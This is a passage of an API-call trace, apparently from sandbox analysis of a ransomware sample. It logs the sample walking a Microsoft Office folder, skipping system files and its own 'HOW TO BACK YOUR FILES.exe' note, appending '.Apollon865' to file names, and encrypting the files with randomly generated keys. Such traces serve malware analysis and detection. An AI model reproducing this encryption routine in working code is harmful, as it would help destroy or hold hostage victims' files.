	[0066.087] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="NAMECONTROLSERVER.EXE" | out: lpString1="NAMECONTROLSERVER.EXE") returned="NAMECONTROLSERVER.EXE"
	[0066.087] lstrlenW (lpString="NAMECONTROLSERVER.EXE") returned 21
	[0066.087] lstrlenW (lpString="Apollon865") returned 10
	[0066.087] lstrcmpiW (lpString1="SERVER.EXE", lpString2="Apollon865") returned 1
	[0066.088] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="NAMEEXT.DLL" | out: lpString1="NAMEEXT.DLL") returned="NAMEEXT.DLL"
	[0066.088] lstrlenW (lpString="NAMEEXT.DLL") returned 11
	[0066.088] lstrlenW (lpString="Apollon865") returned 10
	[0066.088] lstrcmpiW (lpString1="AMEEXT.DLL", lpString2="Apollon865") returned -1
	[0066.088] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="NL7Data0011.DLL" | out: lpString1="NL7Data0011.DLL") returned="NL7Data0011.DLL"
	[0066.088] lstrlenW (lpString="NL7Data0011.DLL") returned 15
	[0066.088] lstrlenW (lpString="Apollon865") returned 10
	[0066.088] lstrcmpiW (lpString1="ta0011.DLL", lpString2="Apollon865") returned 1
	[0066.088] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="NL7Lexicons0011.DLL" | out: lpString1="NL7Lexicons0011.DLL") returned="NL7Lexicons0011.DLL"
	[0066.088] lstrlenW (lpString="NL7Lexicons0011.DLL") returned 19
	[0066.088] lstrlenW (lpString="Apollon865") returned 10
	[0066.088] lstrcmpiW (lpString1="ns0011.DLL", lpString2="Apollon865") returned 1
	[0066.088] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="NL7MODELS0009.dll" | out: lpString1="NL7MODELS0009.dll") returned="NL7MODELS0009.dll"
	[0066.088] lstrlenW (lpString="NL7MODELS0009.dll") returned 17
	[0066.088] lstrlenW (lpString="Apollon865") returned 10
	[0066.088] lstrcmpiW (lpString1="LS0009.dll", lpString2="Apollon865") returned 1
	[0066.088] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="NL7MODELS000A.dll" | out: lpString1="NL7MODELS000A.dll") returned="NL7MODELS000A.dll"
	[0066.088] lstrlenW (lpString="NL7MODELS000A.dll") returned 17
	[0066.088] lstrlenW (lpString="Apollon865") returned 10
	[0066.088] lstrcmpiW (lpString1="LS000A.dll", lpString2="Apollon865") returned 1
	[0066.088] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="NL7MODELS000C.dll" | out: lpString1="NL7MODELS000C.dll") returned="NL7MODELS000C.dll"
	[0066.088] lstrlenW (lpString="NL7MODELS000C.dll") returned 17
	[0066.089] lstrlenW (lpString="Apollon865") returned 10
	[0066.089] lstrcmpiW (lpString1="LS000C.dll", lpString2="Apollon865") returned 1
	[0066.089] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="NL7Models0011.DLL" | out: lpString1="NL7Models0011.DLL") returned="NL7Models0011.DLL"
	[0066.089] lstrlenW (lpString="NL7Models0011.DLL") returned 17
	[0066.089] lstrlenW (lpString="Apollon865") returned 10
	[0066.089] lstrcmpiW (lpString1="ls0011.DLL", lpString2="Apollon865") returned 1
	[0066.089] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="NPAUTHZ.DLL" | out: lpString1="NPAUTHZ.DLL") returned="NPAUTHZ.DLL"
	[0066.089] lstrlenW (lpString="NPAUTHZ.DLL") returned 11
	[0066.089] lstrlenW (lpString="Apollon865") returned 10
	[0066.089] lstrcmpiW (lpString1="PAUTHZ.DLL", lpString2="Apollon865") returned 1
	[0066.089] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OART.DLL" | out: lpString1="OART.DLL") returned="OART.DLL"
	[0066.089] lstrlenW (lpString="OART.DLL") returned 8
	[0066.089] lstrlenW (lpString="Apollon865") returned 10
	[0066.089] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OARTCONV.DLL" | out: lpString1="OARTCONV.DLL") returned="OARTCONV.DLL"
	[0066.089] lstrlenW (lpString="OARTCONV.DLL") returned 12
	[0066.089] lstrlenW (lpString="Apollon865") returned 10
	[0066.089] lstrcmpiW (lpString1="RTCONV.DLL", lpString2="Apollon865") returned 1
	[0066.089] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OCRHC.DAT" | out: lpString1="OCRHC.DAT") returned="OCRHC.DAT"
	[0066.089] lstrlenW (lpString="OCRHC.DAT") returned 9
	[0066.089] lstrlenW (lpString="Apollon865") returned 10
	[0066.089] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OCRVC.DAT" | out: lpString1="OCRVC.DAT") returned="OCRVC.DAT"
	[0066.090] lstrlenW (lpString="OCRVC.DAT") returned 9
	[0066.090] lstrlenW (lpString="Apollon865") returned 10
	[0066.090] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OEMPRINT.CAT" | out: lpString1="OEMPRINT.CAT") returned="OEMPRINT.CAT"
	[0066.090] lstrlenW (lpString="OEMPRINT.CAT") returned 12
	[0066.090] lstrlenW (lpString="Apollon865") returned 10
	[0066.090] lstrcmpiW (lpString1="MPRINT.CAT", lpString2="Apollon865") returned 1
	[0066.090] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT.Apollon865") returned 66
	[0066.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat.apollon865"), dwFlags=0x1) returned 1
	[0066.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0066.092] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=7321) returned 1
	[0066.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0066.093] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.094] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.094] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.094] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fa0, lpName=0x0) returned 0x150
	[0066.095] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fa0) returned 0x100000
	[0066.097] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.098] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.098] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.099] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.099] CloseHandle (hObject=0x150) returned 1
	[0066.099] CloseHandle (hObject=0x118) returned 1
	[0066.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0066.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.099] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e266b00, ftCreationTime.dwHighDateTime=0x1cbd863, ftLastAccessTime.dwLowDateTime=0xdb444c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e266b00, ftLastWriteTime.dwHighDateTime=0x1cbd863, nFileSizeHigh=0x0, nFileSizeLow=0x961380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFOWC.DLL", cAlternateFileName="")) returned 1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2=".") returned 1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="..") returned 1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="windows") returned -1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="bootmgr") returned 1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="temp") returned -1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="pagefile.sys") returned -1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="boot") returned 1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="ids.txt") returned 1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="ntuser.dat") returned 1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="perflogs") returned -1
	[0066.100] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="MSBuild") returned 1
	[0066.100] lstrlenW (lpString="OFFOWC.DLL") returned 10
	[0066.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT") returned 55
	[0066.100] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OFFOWC.DLL" | out: lpString1="OFFOWC.DLL") returned="OFFOWC.DLL"
	[0066.100] lstrlenW (lpString="OFFOWC.DLL") returned 10
	[0066.100] lstrlenW (lpString="Apollon865") returned 10
	[0066.100] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OFFRHD.DLL" | out: lpString1="OFFRHD.DLL") returned="OFFRHD.DLL"
	[0066.100] lstrlenW (lpString="OFFRHD.DLL") returned 10
	[0066.100] lstrlenW (lpString="Apollon865") returned 10
	[0066.100] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OFFXML.DLL" | out: lpString1="OFFXML.DLL") returned="OFFXML.DLL"
	[0066.100] lstrlenW (lpString="OFFXML.DLL") returned 10
	[0066.100] lstrlenW (lpString="Apollon865") returned 10
	[0066.101] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ogalegit.dll" | out: lpString1="ogalegit.dll") returned="ogalegit.dll"
	[0066.101] lstrlenW (lpString="ogalegit.dll") returned 12
	[0066.101] lstrlenW (lpString="Apollon865") returned 10
	[0066.101] lstrcmpiW (lpString1="alegit.dll", lpString2="Apollon865") returned -1
	[0066.101] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OIMG.DLL" | out: lpString1="OIMG.DLL") returned="OIMG.DLL"
	[0066.101] lstrlenW (lpString="OIMG.DLL") returned 8
	[0066.101] lstrlenW (lpString="Apollon865") returned 10
	[0066.101] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OIS.EXE" | out: lpString1="OIS.EXE") returned="OIS.EXE"
	[0066.101] lstrlenW (lpString="OIS.EXE") returned 7
	[0066.101] lstrlenW (lpString="Apollon865") returned 10
	[0066.101] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OISAPP.DLL" | out: lpString1="OISAPP.DLL") returned="OISAPP.DLL"
	[0066.101] lstrlenW (lpString="OISAPP.DLL") returned 10
	[0066.101] lstrlenW (lpString="Apollon865") returned 10
	[0066.101] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="oisctrl.dll" | out: lpString1="oisctrl.dll") returned="oisctrl.dll"
	[0066.101] lstrlenW (lpString="oisctrl.dll") returned 11
	[0066.101] lstrlenW (lpString="Apollon865") returned 10
	[0066.101] lstrcmpiW (lpString1="isctrl.dll", lpString2="Apollon865") returned 1
	[0066.101] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OISGRAPH.DLL" | out: lpString1="OISGRAPH.DLL") returned="OISGRAPH.DLL"
	[0066.101] lstrlenW (lpString="OISGRAPH.DLL") returned 12
	[0066.101] lstrlenW (lpString="Apollon865") returned 10
	[0066.101] lstrcmpiW (lpString1="SGRAPH.DLL", lpString2="Apollon865") returned 1
	[0066.101] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OLKFSTUB.DLL" | out: lpString1="OLKFSTUB.DLL") returned="OLKFSTUB.DLL"
	[0066.102] lstrlenW (lpString="OLKFSTUB.DLL") returned 12
	[0066.102] lstrlenW (lpString="Apollon865") returned 10
	[0066.102] lstrcmpiW (lpString1="KFSTUB.DLL", lpString2="Apollon865") returned 1
	[0066.102] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OLKIRM.XML" | out: lpString1="OLKIRM.XML") returned="OLKIRM.XML"
	[0066.102] lstrlenW (lpString="OLKIRM.XML") returned 10
	[0066.102] lstrlenW (lpString="Apollon865") returned 10
	[0066.102] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML.Apollon865") returned 64
	[0066.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0066.104] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=79692) returned 1
	[0066.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0066.105] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.106] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.106] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.106] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a50, lpName=0x0) returned 0x150
	[0066.107] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a50) returned 0x120000
	[0066.111] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.112] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.112] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.113] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0066.114] CloseHandle (hObject=0x150) returned 1
	[0066.114] CloseHandle (hObject=0x118) returned 1
	[0066.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0066.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.114] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x13594, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLKIRMV.XML", cAlternateFileName="")) returned 1
	[0066.114] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.114] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="Apollon865.txt.exe") returned 1
	[0066.114] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2=".") returned 1
	[0066.114] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="..") returned 1
	[0066.115] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="windows") returned -1
	[0066.115] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="bootmgr") returned 1
	[0066.115] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="temp") returned -1
	[0066.115] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="pagefile.sys") returned -1
	[0066.115] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="boot") returned 1
	[0066.115] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="ids.txt") returned 1
	[0066.115] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="ntuser.dat") returned 1
	[0066.115] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="perflogs") returned -1
	[0066.115] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="MSBuild") returned 1
	[0066.115] lstrlenW (lpString="OLKIRMV.XML") returned 11
	[0066.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML") returned 53
	[0066.115] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OLKIRMV.XML" | out: lpString1="OLKIRMV.XML") returned="OLKIRMV.XML"
	[0066.115] lstrlenW (lpString="OLKIRMV.XML") returned 11
	[0066.115] lstrlenW (lpString="Apollon865") returned 10
	[0066.115] lstrcmpiW (lpString1="LKIRMV.XML", lpString2="Apollon865") returned 1
	[0066.115] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML.Apollon865") returned 65
	[0066.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0066.119] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=79252) returned 1
	[0066.119] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0066.120] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.120] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.120] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.121] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x138a0, lpName=0x0) returned 0x150
	[0066.122] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x138a0) returned 0x120000
	[0066.126] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.127] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.127] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.127] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.127] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.127] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.127] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.127] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.127] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.127] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.127] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.127] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.127] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.127] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0066.128] CloseHandle (hObject=0x150) returned 1
	[0066.128] CloseHandle (hObject=0x118) returned 1
	[0066.128] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.128] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0066.128] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.129] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x44ab80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLMAPI32.DLL", cAlternateFileName="")) returned 1
	[0066.129] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.129] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0066.176] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2=".") returned 1
	[0066.176] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="..") returned 1
	[0066.176] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="windows") returned -1
	[0066.176] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="bootmgr") returned 1
	[0066.176] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="temp") returned -1
	[0066.176] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="pagefile.sys") returned -1
	[0066.176] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="boot") returned 1
	[0066.176] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="ids.txt") returned 1
	[0066.176] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="ntuser.dat") returned 1
	[0066.176] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="perflogs") returned -1
	[0066.176] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="MSBuild") returned 1
	[0066.176] lstrlenW (lpString="OLMAPI32.DLL") returned 12
	[0066.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML") returned 54
	[0066.176] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OLMAPI32.DLL" | out: lpString1="OLMAPI32.DLL") returned="OLMAPI32.DLL"
	[0066.176] lstrlenW (lpString="OLMAPI32.DLL") returned 12
	[0066.176] lstrlenW (lpString="Apollon865") returned 10
	[0066.176] lstrcmpiW (lpString1="MAPI32.DLL", lpString2="Apollon865") returned 1
	[0066.177] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OMML2MML.XSL" | out: lpString1="OMML2MML.XSL") returned="OMML2MML.XSL"
	[0066.177] lstrlenW (lpString="OMML2MML.XSL") returned 12
	[0066.177] lstrlenW (lpString="Apollon865") returned 10
	[0066.177] lstrcmpiW (lpString1="ML2MML.XSL", lpString2="Apollon865") returned 1
	[0066.177] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OMSMAIN.DLL" | out: lpString1="OMSMAIN.DLL") returned="OMSMAIN.DLL"
